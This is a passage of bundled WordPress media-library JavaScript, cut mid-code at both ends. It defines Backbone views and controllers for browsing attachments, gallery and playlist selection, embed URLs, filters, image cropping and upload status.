this.collection.getTotalAttachments() ) { return; } if ( this.collection.length ) { this.loadMoreCount.$el.text( /* translators: 1: Number of displayed attachments, 2: Number of total attachments. */ sprintf( __( 'Showing %1$s of %2$s media items' ), this.collection.length, this.collection.getTotalAttachments() ) ); this.loadMoreCount.$el.removeClass( 'hidden' ); } /* * Notice that while the collection updates multiple times hasMore() may * return true when it's actually not true. */ if ( this.collection.hasMore() ) { this.loadMoreButton.$el.removeClass( 'hidden' ); } // Find the media item to move focus to. The jQuery `eq()` index is zero-based. this.firstAddedMediaItem = this.$el.find( '.attachment' ).eq( this.firstAddedMediaItemIndex ); // If there's a media item to move focus to, make the "Jump to" button available. if ( this.firstAddedMediaItem.length ) { this.firstAddedMediaItem.addClass( 'new-media' ); this.loadMoreJumpToFirst.$el.removeClass( 'hidden' ).prop( 'disabled', false ); } // If there are new items added, but no more to be added, move focus to Jump button. if ( this.firstAddedMediaItem.length && ! this.collection.hasMore() ) { this.loadMoreJumpToFirst.$el.trigger( 'focus' ); } }, 10 ), /** * Loads more attachments. * * @since 5.8.0 * * @return {void} */ loadMoreAttachments: function() { var view = this; if ( ! this.collection.hasMore() ) { return; } /* * The collection index is zero-based while the length counts the actual * amount of items. Thus the length is equivalent to the position of the * first added item. */ this.firstAddedMediaItemIndex = this.collection.length; this.$el.addClass( 'more-loaded' ); this.collection.each( function( attachment ) { var attach_id = attachment.attributes.id; $( '[data-id="' + attach_id + '"]' ).addClass( 'found-media' ); }); view.loadMoreSpinner.show(); this.collection.once( 'attachments:received', function() { view.loadMoreSpinner.hide(); } ); this.collection.more(); }, /** * Moves focus to the first new added item. . * * @since 5.8.0 * * @return {void} */ jumpToFirstAddedItem: function() { // Set focus on first added item. this.firstAddedMediaItem.focus(); }, createAttachmentsHeading: function() { this.attachmentsHeading = new wp.media.view.Heading( { text: l10n.attachmentsList, level: 'h2', className: 'media-views-heading screen-reader-text' } ); this.views.add( this.attachmentsHeading ); }, createSidebar: function() { var options = this.options, selection = options.selection, sidebar = this.sidebar = new wp.media.view.Sidebar({ controller: this.controller }); this.views.add( sidebar ); if ( this.controller.uploader ) { sidebar.set( 'uploads', new wp.media.view.UploaderStatus({ controller: this.controller, priority: 40 }) ); } selection.on( 'selection:single', this.createSingle, this ); selection.on( 'selection:unsingle', this.disposeSingle, this ); if ( selection.single() ) { this.createSingle(); } }, createSingle: function() { var sidebar = this.sidebar, single = this.options.selection.single(); sidebar.set( 'details', new wp.media.view.Attachment.Details({ controller: this.controller, model: single, priority: 80 }) ); sidebar.set( 'compat', new wp.media.view.AttachmentCompat({ controller: this.controller, model: single, priority: 120 }) ); if ( this.options.display ) { sidebar.set( 'display', new wp.media.view.Settings.AttachmentDisplay({ controller: this.controller, model: this.model.display( single ), attachment: single, priority: 160, userSettings: this.model.get('displayUserSettings') }) ); } // Show the sidebar on mobile. if ( this.model.id === 'insert' ) { sidebar.$el.addClass( 'visible' ); } }, disposeSingle: function() { var sidebar = this.sidebar; sidebar.unset('details'); sidebar.unset('compat'); sidebar.unset('display'); // Hide the sidebar on mobile. sidebar.$el.removeClass( 'visible' ); } }); module.exports = AttachmentsBrowser; /***/ }), /***/ 7127: /***/ ((module) => { var Selection = wp.media.model.Selection, Library = wp.media.controller.Library, l10n = wp.media.view.l10n, GalleryAdd; /** * wp.media.controller.GalleryAdd * * A state for selecting more images to add to a gallery. * * @since 3.5.0 * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @memberof wp.media.controller * * @param {Object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=gallery-library] Unique identifier. * @param {string} [attributes.title=Add to Gallery] Title for the state. Displays in the frame's title region. * @param {boolean} [attributes.multiple=add] Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of all images will be created. * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {string} [attributes.menu=gallery] Initial mode for the menu region. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=gallery-add] Initial mode for the toolbar region. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {number} [attributes.priority=100] The priority for the state link in the media menu. * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state. * Defaults to false because for this state, because the library of the Edit Gallery state is the selection. */ GalleryAdd = Library.extend(/** @lends wp.media.controller.GalleryAdd.prototype */{ defaults: _.defaults({ id: 'gallery-library', title: l10n.addToGalleryTitle, multiple: 'add', filterable: 'uploaded', menu: 'gallery', toolbar: 'gallery-add', priority: 100, syncSelection: false }, Library.prototype.defaults ), /** * Initializes the library. Creates a library of images if a library isn't supplied. * * @since 3.5.0 * * @return {void} */ initialize: function() { if ( ! this.get('library') ) { this.set( 'library', wp.media.query({ type: 'image' }) ); } Library.prototype.initialize.apply( this, arguments ); }, /** * Activates the library. * * Removes all event listeners if in edit mode. Creates a validator to check an attachment. * Resets library and re-enables event listeners. Activates edit mode. Calls the parent's activate method. * * @since 3.5.0 * * @return {void} */ activate: function() { var library = this.get('library'), edit = this.frame.state('gallery-edit').get('library'); if ( this.editLibrary && this.editLibrary !== edit ) { library.unobserve( this.editLibrary ); } /* * Accept attachments that exist in the original library but * that do not exist in gallery's library yet. */ library.validator = function( attachment ) { return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments ); }; /* * Reset the library to ensure that all attachments are re-added * to the collection. Do so silently, as calling `observe` will * trigger the `reset` event. */ library.reset( library.mirroring.models, { silent: true }); library.observe( edit ); this.editLibrary = edit; Library.prototype.activate.apply( this, arguments ); } }); module.exports = GalleryAdd; /***/ }), /***/ 7145: /***/ ((module) => { var Selection = wp.media.model.Selection, Library = wp.media.controller.Library, CollectionAdd; /** * wp.media.controller.CollectionAdd * * A state for adding attachments to a collection (e.g. video playlist). * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=library] Unique identifier. * @param {string} attributes.title Title for the state. Displays in the frame's title region. * @param {boolean} [attributes.multiple=add] Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of attachments of the specified type will be created. * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {string} [attributes.menu=gallery] Initial mode for the menu region. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=gallery-add] Initial mode for the toolbar region. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {int} [attributes.priority=100] The priority for the state link in the media menu. * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state. * Defaults to false because for this state, because the library of the Edit Gallery state is the selection. * @param {string} attributes.type The collection's media type. (e.g. 'video'). * @param {string} attributes.collectionType The collection type. (e.g. 'playlist'). */ CollectionAdd = Library.extend(/** @lends wp.media.controller.CollectionAdd.prototype */{ defaults: _.defaults( { // Selection defaults. @see media.model.Selection multiple: 'add', // Attachments browser defaults. @see media.view.AttachmentsBrowser filterable: 'uploaded', priority: 100, syncSelection: false }, Library.prototype.defaults ), /** * @since 3.9.0 */ initialize: function() { var collectionType = this.get('collectionType'); if ( 'video' === this.get( 'type' ) ) { collectionType = 'video-' + collectionType; } this.set( 'id', collectionType + '-library' ); this.set( 'toolbar', collectionType + '-add' ); this.set( 'menu', collectionType ); // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', wp.media.query({ type: this.get('type') }) ); } Library.prototype.initialize.apply( this, arguments ); }, /** * @since 3.9.0 */ activate: function() { var library = this.get('library'), editLibrary = this.get('editLibrary'), edit = this.frame.state( this.get('collectionType') + '-edit' ).get('library'); if ( editLibrary && editLibrary !== edit ) { library.unobserve( editLibrary ); } // Accepts attachments that exist in the original library and // that do not exist in gallery's library. library.validator = function( attachment ) { return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments ); }; /* * Reset the library to ensure that all attachments are re-added * to the collection. Do so silently, as calling `observe` will * trigger the `reset` event. */ library.reset( library.mirroring.models, { silent: true }); library.observe( edit ); this.set('editLibrary', edit); Library.prototype.activate.apply( this, arguments ); } }); module.exports = CollectionAdd; /***/ }), /***/ 7266: /***/ ((module) => { /** * wp.media.view.Settings.Gallery * * @memberOf wp.media.view.Settings * * @class * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Gallery = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Gallery.prototype */{ className: 'collection-settings gallery-settings', template: wp.template('gallery-settings') }); module.exports = Gallery; /***/ }), /***/ 7327: /***/ ((module) => { var View = wp.media.View, $ = jQuery, l10n = wp.media.view.l10n, EmbedUrl; /** * wp.media.view.EmbedUrl * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EmbedUrl = View.extend(/** @lends wp.media.view.EmbedUrl.prototype */{ tagName: 'span', className: 'embed-url', events: { 'input': 'url' }, initialize: function() { this.$input = $( '<input id="embed-url-field" type="url" />' ) .attr( 'aria-label', l10n.insertFromUrlTitle ) .val( this.model.get('url') ); this.input = this.$input[0]; this.spinner = $('<span class="spinner" />')[0]; this.$el.append([ this.input, this.spinner ]); this.listenTo( this.model, 'change:url', this.render ); if ( this.model.get( 'url' ) ) { _.delay( _.bind( function () { this.model.trigger( 'change:url' ); }, this ), 500 ); } }, /** * @return {wp.media.view.EmbedUrl} Returns itself to allow chaining. */ render: function() { var $input = this.$input; if ( $input.is(':focus') ) { return; } if ( this.model.get( 'url' ) ) { this.input.value = this.model.get('url'); } else { this.input.setAttribute( 'placeholder', 'https://' ); } /** * Call `render` directly on parent class with passed arguments */ View.prototype.render.apply( this, arguments ); return this; }, url: function( event ) { var url = event.target.value || ''; this.model.set( 'url', url.trim() ); } }); module.exports = EmbedUrl; /***/ }), /***/ 7349: /***/ ((module) => { var l10n = wp.media.view.l10n, All; /** * wp.media.view.AttachmentFilters.All * * @memberOf wp.media.view.AttachmentFilters * * @class * @augments wp.media.view.AttachmentFilters * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ All = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.All.prototype */{ createFilters: function() { var filters = {}, uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0; _.each( wp.media.view.settings.mimeTypes || {}, function( text, key ) { filters[ key ] = { text: text, props: { status: null, type: key, uploadedTo: null, orderby: 'date', order: 'DESC', author: null } }; }); filters.all = { text: l10n.allMediaItems, props: { status: null, type: null, uploadedTo: null, orderby: 'date', order: 'DESC', author: null }, priority: 10 }; if ( wp.media.view.settings.post.id ) { filters.uploaded = { text: l10n.uploadedToThisPost, props: { status: null, type: null, uploadedTo: wp.media.view.settings.post.id, orderby: 'menuOrder', order: 'ASC', author: null }, priority: 20 }; } filters.unattached = { text: l10n.unattached, props: { status: null, uploadedTo: 0, type: null, orderby: 'menuOrder', order: 'ASC', author: null }, priority: 50 }; if ( uid ) { filters.mine = { text: l10n.mine, props: { status: null, type: null, uploadedTo: null, orderby: 'date', order: 'DESC', author: uid }, priority: 50 }; } if ( wp.media.view.settings.mediaTrash && this.controller.isModeActive( 'grid' ) ) { filters.trash = { text: l10n.trash, props: { uploadedTo: null, status: 'trash', type: null, orderby: 'date', order: 'DESC', author: null }, priority: 50 }; } this.filters = filters; } }); module.exports = All; /***/ }), /***/ 7637: /***/ ((module) => { var View = wp.media.View, UploaderStatus = wp.media.view.UploaderStatus, l10n = wp.media.view.l10n, $ = jQuery, Cropper; /** * wp.media.view.Cropper * * Uses the imgAreaSelect plugin to allow a user to crop an image. * * Takes imgAreaSelect options from * wp.customize.HeaderControl.calculateImageSelectOptions via * wp.customize.HeaderControl.openMM. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Cropper = View.extend(/** @lends wp.media.view.Cropper.prototype */{ className: 'crop-content', template: wp.template('crop-content'), initialize: function() { _.bindAll(this, 'onImageLoad'); }, ready: function() { this.controller.frame.on('content:error:crop', this.onError, this); this.$image = this.$el.find('.crop-image'); this.$image.on('load', this.onImageLoad); $(window).on('resize.cropper', _.debounce(this.onImageLoad, 250)); }, remove: function() { $(window).off('resize.cropper'); this.$el.remove(); this.$el.off(); View.prototype.remove.apply(this, arguments); }, prepare: function() { return { title: l10n.cropYourImage, url: this.options.attachment.get('url') }; }, onImageLoad: function() { var imgOptions = this.controller.get('imgSelectOptions'), imgSelect; if (typeof imgOptions === 'function') { imgOptions = imgOptions(this.options.attachment, this.controller); } imgOptions = _.extend(imgOptions, { parent: this.$el, onInit: function() { // Store the set ratio. var setRatio = imgSelect.getOptions().aspectRatio; // On mousedown, if no ratio is set and the Shift key is down, use a 1:1 ratio. this.parent.children().on( 'mousedown touchstart', function( e ) { // If no ratio is set and the shift key is down, use a 1:1 ratio. if ( ! setRatio && e.shiftKey ) { imgSelect.setOptions( { aspectRatio: '1:1' } ); } } ); this.parent.children().on( 'mouseup touchend', function() { // Restore the set ratio. imgSelect.setOptions( { aspectRatio: setRatio ? setRatio : false } ); } ); } } ); this.trigger('image-loaded'); imgSelect = this.controller.imgSelect = this.$image.imgAreaSelect(imgOptions); }, onError: function() { var filename = this.options.attachment.get('filename'); this.views.add( '.upload-errors', new wp.media.view.UploaderStatusError({ filename: UploaderStatus.prototype.filename(filename), message: window._wpMediaViewsL10n.cropError }), { at: 0 }); } }); module.exports = Cropper; /***/ }), /***/ 7656: /***/ ((module) => { var Settings = wp.media.view.Settings, AttachmentDisplay; /** * wp.media.view.Settings.AttachmentDisplay * * @memberOf wp.media.view.Settings * * @class * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ AttachmentDisplay = Settings.extend(/** @lends wp.media.view.Settings.AttachmentDisplay.prototype */{ className: 'attachment-display-settings', template: wp.template('attachment-display-settings'), initialize: function() { var attachment = this.options.attachment; _.defaults( this.options, { userSettings: false }); // Call 'initialize' directly on the parent class. Settings.prototype.initialize.apply( this, arguments ); this.listenTo( this.model, 'change:link', this.updateLinkTo ); if ( attachment ) { attachment.on( 'change:uploading', this.render, this ); } }, dispose: function() { var attachment = this.options.attachment; if ( attachment ) { attachment.off( null, null, this ); } /** * call 'dispose' directly on the parent class */ Settings.prototype.dispose.apply( this, arguments ); }, /** * @return {wp.media.view.AttachmentDisplay} Returns itself to allow chaining. */ render: function() { var attachment = this.options.attachment; if ( attachment ) { _.extend( this.options, { sizes: attachment.get('sizes'), type: attachment.get('type') }); } /** * call 'render' directly on the parent class */ Settings.prototype.render.call( this ); this.updateLinkTo(); return this; }, updateLinkTo: function() { var linkTo = this.model.get('link'), $input = this.$('.link-to-custom'), attachment = this.options.attachment; if ( 'none' === linkTo || 'embed' === linkTo || ( ! attachment && 'custom' !== linkTo ) ) { $input.closest( '.setting' ).addClass( 'hidden' ); return; } if ( attachment ) { if ( 'post' === linkTo ) { $input.val( attachment.get('link') ); } else if ( 'file' === linkTo ) { $input.val( attachment.get('url') ); } else if ( ! this.model.get('linkUrl') ) { $input.val('http://'); } $input.prop( 'readonly', 'custom' !== linkTo ); } $input.closest( '.setting' ).removeClass( 'hidden' ); if ( $input.length ) { $input[0].scrollIntoView(); } } }); module.exports = AttachmentDisplay; /***/ }), /***/ 7709: /***/ ((module) => { var $ = jQuery, AttachmentFilters; /** * wp.media.view.AttachmentFilters * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ AttachmentFilters = wp.media.View.extend(/** @lends wp.media.view.AttachmentFilters.prototype */{ tagName: 'select', className: 'attachment-filters', id: 'media-attachment-filters', events: { change: 'change' }, keys: [], initialize: function() { this.createFilters(); _.extend( this.filters, this.options.filters ); // Build `<option>` elements. this.$el.html( _.chain( this.filters ).map( function( filter, value ) { return { el: $( '<option></option>' ).val( value ).html( filter.text )[0], priority: filter.priority || 50 }; }, this ).sortBy('priority').pluck('el').value() ); this.listenTo( this.model, 'change', this.select ); this.select(); }, /** * @abstract */ createFilters: function() { this.filters = {}; }, /** * When the selected filter changes, update the Attachment Query properties to match. */ change: function() { var filter = this.filters[ this.el.value ]; if ( filter ) { this.model.set( filter.props ); } }, select: function() { var model = this.model, value = 'all', props = model.toJSON(); _.find( this.filters, function( filter, id ) { var equal = _.all( filter.props, function( prop, key ) { return prop === ( _.isUndefined( props[ key ] ) ? null : props[ key ] ); }); if ( equal ) { return value = id; } }); this.$el.val( value ); } }); module.exports = AttachmentFilters; /***/ }), /***/ 7810: /***/ ((module) => { var View = wp.media.View, $ = jQuery, SiteIconPreview; /** * wp.media.view.SiteIconPreview * * Shows a preview of the Site Icon as a favicon and app icon while cropping. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ SiteIconPreview = View.extend(/** @lends wp.media.view.SiteIconPreview.prototype */{ className: 'site-icon-preview-crop-modal', template: wp.template( 'site-icon-preview-crop' ), ready: function() { this.controller.imgSelect.setOptions({ onInit: this.updatePreview, onSelectChange: this.updatePreview }); }, prepare: function() { return { url: this.options.attachment.get( 'url' ) }; }, updatePreview: function( img, coords ) { var rx = 64 / coords.width, ry = 64 / coords.height, preview_rx = 24 / coords.width, preview_ry = 24 / coords.height; $( '#preview-app-icon' ).css({ width: Math.round(rx * this.imageWidth ) + 'px', height: Math.round(ry * this.imageHeight ) + 'px', marginLeft: '-' + Math.round(rx * coords.x1) + 'px', marginTop: '-' + Math.round(ry * coords.y1) + 'px' }); $( '#preview-favicon' ).css({ width: Math.round( preview_rx * this.imageWidth ) + 'px', height: Math.round( preview_ry * this.imageHeight ) + 'px', marginLeft: '-' + Math.round( preview_rx * coords.x1 ) + 'px', marginTop: '-' + Math.floor( preview_ry* coords.y1 ) + 'px' }); } }); module.exports = SiteIconPreview; /***/ }), /***/ 8065: /***/ ((module) => { /** * wp.media.controller.MediaLibrary * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model */ var Library = wp.media.controller.Library, MediaLibrary; MediaLibrary = Library.extend(/** @lends wp.media.controller.MediaLibrary.prototype */{ defaults: _.defaults({ // Attachments browser defaults. @see media.view.AttachmentsBrowser filterable: 'uploaded', displaySettings: false, priority: 80, syncSelection: false }, Library.prototype.defaults ), /** * @since 3.9.0 * * @param options */ initialize: function( options ) { this.media = options.media; this.type = options.type; this.set( 'library', wp.media.query({ type: this.type }) ); Library.prototype.initialize.apply( this, arguments ); }, /** * @since 3.9.0 */ activate: function() { // @todo this should use this.frame. if ( wp.media.frame.lastMime ) { this.set( 'library', wp.media.query({ type: wp.media.frame.lastMime }) ); delete wp.media.frame.lastMime; } Library.prototype.activate.apply( this, arguments ); } }); module.exports = MediaLibrary; /***/ }), /***/ 8142: /***/ ((module) => { var View = wp.media.View, $ = jQuery, Attachments, infiniteScrolling = wp.media.view.settings.infiniteScrolling; Attachments = View.extend(/** @lends wp.media.view.Attachments.prototype */{ tagName: 'ul', className: 'attachments', attributes: { tabIndex: -1 }, /** * Represents the overview of attachments in the Media Library. * * The constructor binds events to the collection this view represents when * adding or removing attachments or resetting the entire collection. * * @since 3.5.0 * * @constructs * @memberof wp.media.view * * @augments wp.media.View * * @listens collection:add * @listens collection:remove * @listens collection:reset * @listens controller:library:selection:add * @listens scrollElement:scroll * @listens this:ready * @listens controller:open */ initialize: function() { this.el.id = _.uniqueId('__attachments-view-'); /** * @since 5.8.0 Added the `infiniteScrolling` parameter. * * @param infiniteScrolling Whether to enable infinite scrolling or use * the default "load more" button. * @param refreshSensitivity The time in milliseconds to throttle the scroll * handler. * @param refreshThreshold The amount of pixels that should be scrolled before * loading more attachments from the server. * @param AttachmentView The view class to be used for models in the * collection. * @param sortable A jQuery sortable options object * ( http://api.jqueryui.com/sortable/ ). * @param resize A boolean indicating whether or not to listen to * resize events. * @param idealColumnWidth The width in pixels which a column should have when * calculating the total number of columns. */ _.defaults( this.options, { infiniteScrolling: infiniteScrolling || false, refreshSensitivity: wp.media.isTouchDevice ? 300 : 200, refreshThreshold: 3, AttachmentView: wp.media.view.Attachment, sortable: false, resize: true, idealColumnWidth: $( window ).width() < 640 ? 135 : 150 }); this._viewsByCid = {}; this.$window = $( window ); this.resizeEvent = 'resize.media-modal-columns'; this.collection.on( 'add', function( attachment ) { this.views.add( this.createAttachmentView( attachment ), { at: this.collection.indexOf( attachment ) }); }, this ); /* * Find the view to be removed, delete it and call the remove function to clear * any set event handlers. */ this.collection.on( 'remove', function( attachment ) { var view = this._viewsByCid[ attachment.cid ]; delete this._viewsByCid[ attachment.cid ]; if ( view ) { view.remove(); } }, this ); this.collection.on( 'reset', this.render, this ); this.controller.on( 'library:selection:add', this.attachmentFocus, this ); if ( this.options.infiniteScrolling ) { // Throttle the scroll handler and bind this. this.scroll = _.chain( this.scroll ).bind( this ).throttle( this.options.refreshSensitivity ).value(); this.options.scrollElement = this.options.scrollElement || this.el; $( this.options.scrollElement ).on( 'scroll', this.scroll ); } this.initSortable(); _.bindAll( this, 'setColumns' ); if ( this.options.resize ) { this.on( 'ready', this.bindEvents ); this.controller.on( 'open', this.setColumns ); /* * Call this.setColumns() after this view has been rendered in the * DOM so attachments get proper width applied. */ _.defer( this.setColumns, this ); } }, /** * Listens to the resizeEvent on the window. * * Adjusts the amount of columns accordingly. First removes any existing event * handlers to prevent duplicate listeners. * * @since 4.0.0 * * @listens window:resize * * @return {void} */ bindEvents: function() { this.$window.off( this.resizeEvent ).on( this.resizeEvent, _.debounce( this.setColumns, 50 ) ); }, /** * Focuses the first item in the collection. * * @since 4.0.0 * * @return {void} */ attachmentFocus: function() { /* * @todo When uploading new attachments, this tries to move focus to * the attachments grid. Actually, a progress bar gets initially displayed * and then updated when uploading completes, so focus is lost. * Additionally: this view is used for both the attachments list and * the list of selected attachments in the bottom media toolbar. Thus, when * uploading attachments, it is called twice and returns two different `this`. * `this.columns` is truthy within the modal. */ if ( this.columns ) { // Move focus to the grid list within the modal. this.$el.focus(); } }, /** * Restores focus to the selected item in the collection. * * Moves focus back to the first selected attachment in the grid. Used when * tabbing backwards from the attachment details sidebar. * See media.view.AttachmentsBrowser. * * @since 4.0.0 * * @return {void} */ restoreFocus: function() { this.$( 'li.selected:first' ).focus(); }, /** * Handles events for arrow key presses. * * Focuses the attachment in the direction of the used arrow key if it exists. * * @since 4.0.0 * * @param {KeyboardEvent} event The keyboard event that triggered this function. * * @return {void} */ arrowEvent: function( event ) { var attachments = this.$el.children( 'li' ), perRow = this.columns, index = attachments.filter( ':focus' ).index(), row = ( index + 1 ) <= perRow ? 1 : Math.ceil( ( index + 1 ) / perRow ); if ( index === -1 ) { return; } // Left arrow = 37. if ( 37 === event.keyCode ) { if ( 0 === index ) { return; } attachments.eq( index - 1 ).focus(); } // Up arrow = 38. if ( 38 === event.keyCode ) { if ( 1 === row ) { return; } attachments.eq( index - perRow ).focus(); } // Right arrow = 39. if ( 39 === event.keyCode ) { if ( attachments.length === index ) { return; } attachments.eq( index + 1 ).focus(); } // Down arrow = 40. if ( 40 === event.keyCode ) { if ( Math.ceil( attachments.length / perRow ) === row ) { return; } attachments.eq( index + perRow ).focus(); } }, /** * Clears any set event handlers. * * @since 3.5.0 * * @return {void} */ dispose: function() { this.collection.props.off( null, null, this ); if ( this.options.resize ) { this.$window.off( this.resizeEvent ); } // Call 'dispose' directly on the parent class. View.prototype.dispose.apply( this, arguments ); }, /** * Calculates the amount of columns. * * Calculates the amount of columns and sets it on the data-columns attribute * of .media-frame-content. * * @since 4.0.0 * * @return {void} */ setColumns: function() { var prev = this.columns, width = this.$el.width(); if ( width ) { this.columns = Math.min( Math.round( width / this.options.idealColumnWidth ), 12 ) || 1; if ( ! prev || prev !== this.columns ) { this.$el.closest( '.media-frame-content' ).attr( 'data-columns', this.columns ); } } }, /** * Initializes jQuery sortable on the attachment list. * * Fails gracefully if jQuery sortable doesn't exist or isn't passed * in the options. * * @since 3.5.0 * * @fires collection:reset * * @return {void} */ initSortable: function() { var collection = this.collection; if ( ! this.options.sortable || ! $.fn.sortable ) { return; } this.$el.sortable( _.extend({ // If the `collection` has a `comparator`, disable sorting. disabled: !! collection.comparator, /* * Change the position of the attachment as soon as the mouse pointer * overlaps a thumbnail. */ tolerance: 'pointer', // Record the initial `index` of the dragged model. start: function( event, ui ) { ui.item.data('sortableIndexStart', ui.item.index()); }, /* * Update the model's index in the collection. Do so silently, as the view * is already accurate. */ update: function( event, ui ) { var model = collection.at( ui.item.data('sortableIndexStart') ), comparator = collection.comparator; // Temporarily disable the comparator to prevent `add` // from re-sorting. delete collection.comparator; // Silently shift the model to its new index. collection.remove( model, { silent: true }); collection.add( model, { silent: true, at: ui.item.index() }); // Restore the comparator. collection.comparator = comparator; // Fire the `reset` event to ensure other collections sync. collection.trigger( 'reset', collection ); // If the collection is sorted by menu order, update the menu order. collection.saveMenuOrder(); } }, this.options.sortable ) ); /* * If the `orderby` property is changed on the `collection`, * check to see if we have a `comparator`. If so, disable sorting. */ collection.props.on( 'change:orderby', function() { this.$el.sortable( 'option', 'disabled', !! collection.comparator ); }, this ); this.collection.props.on( 'change:orderby', this.refreshSortable, this ); this.refreshSortable(); }, /** * Disables jQuery sortable if collection has a comparator or collection.orderby * equals menuOrder. * * @since 3.5.0 * * @return {void} */ refreshSortable: function() { if ( ! this.options.sortable || ! $.fn.sortable ) { return; } var collection = this.collection, orderby = collection.props.get('orderby'), enabled = 'menuOrder' === orderby || ! collection.comparator; this.$el.sortable( 'option', 'disabled', ! enabled ); }, /** * Creates a new view for an attachment and adds it to _viewsByCid. * * @since 3.5.0 * * @param {wp.media.model.Attachment} attachment * * @return {wp.media.View} The created view. */ createAttachmentView: function( attachment ) { var view = new this.options.AttachmentView({ controller: this.controller, model: attachment, collection: this.collection, selection: this.options.selection }); return this._viewsByCid[ attachment.cid ] = view; }, /** * Prepares view for display. * * Creates views for every attachment in collection if the collection is not * empty, otherwise clears all views and loads more attachments. * * @since 3.5.0 * * @return {void} */ prepare: function() { if ( this.collection.length ) { this.views.set( this.collection.map( this.createAttachmentView, this ) ); } else { this.views.unset(); if ( this.options.infiniteScrolling ) { this.collection.more().done( this.scroll ); } } }, /** * Triggers the scroll function to check if we should query for additional * attachments right away. * * @since 3.5.0 * * @return {void} */ ready: function() { if ( this.options.infiniteScrolling ) { this.scroll(); } }, /** * Handles scroll events. * * Shows the spinner if we're close to the bottom. Loads more attachments from * server if we're {refreshThreshold} times away from the bottom. * * @since 3.5.0 * * @return {void} */ scroll: function() { var view = this, el = this.options.scrollElement, scrollTop = el.scrollTop, toolbar; /* * The scroll event occurs on the document, but the element that should be * checked is the document body. */ if ( el === document ) { el = document.body; scrollTop = $(document).scrollTop(); } if ( ! $(el).is(':visible') || ! this.collection.hasMore() ) { return; } toolbar = this.views.parent.toolbar; // Show the spinner only if we are close to the bottom. if ( el.scrollHeight - ( scrollTop + el.clientHeight ) < el.clientHeight / 3 ) { toolbar.get('spinner').show(); } if ( el.scrollHeight < scrollTop + ( el.clientHeight * this.options.refreshThreshold ) ) { this.collection.more().done(function() { view.scroll(); toolbar.get('spinner').hide(); }); } } }); module.exports = Attachments; /***/ }), /***/ 8197: /***/ ((module) => { var View = wp.media.View, UploaderStatus; /** * wp.media.view.UploaderStatus * * An uploader status for on-going uploads. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ UploaderStatus = View.extend(/** @lends wp.media.view.UploaderStatus.prototype */{ className: 'media-uploader-status', template: wp.template('uploader-status'), events: { 'click .upload-dismiss-errors': 'dismiss' }, initialize: function() { this.queue = wp.Uploader.queue; this.queue.on( 'add remove reset', this.visibility, this ); this.queue.on( 'add remove reset change:percent', this.progress, this ); this.queue.on( 'add remove reset change:uploading', this.info, this ); this.errors = wp.Uploader.errors; this.errors.reset(); this.errors.on( 'add remove reset', this.visibility, this ); this.errors.on( 'add', this.error, this ); }, /** * @return {wp.media.view.UploaderStatus} */ dispose: function() { wp.Uploader.queue.off( null, null, this ); /** * call 'dispose' directly on the parent class */ View.prototype.dispose.apply( this, arguments ); return this; }, visibility: function() { this.$el.toggleClass( 'uploading', !! this.queue.length ); this.$el.toggleClass( 'errors', !! this.errors.length ); this.$el.toggle( !! this.queue.length || !! this.errors.length ); }, ready: function() { _.each({ '$bar': '.media-progress-bar div', '$index': '.upload-index', '$total': '.upload-total', '$filename': '.upload-filename' }, function( selector, key ) { this[ key ] = this.$( 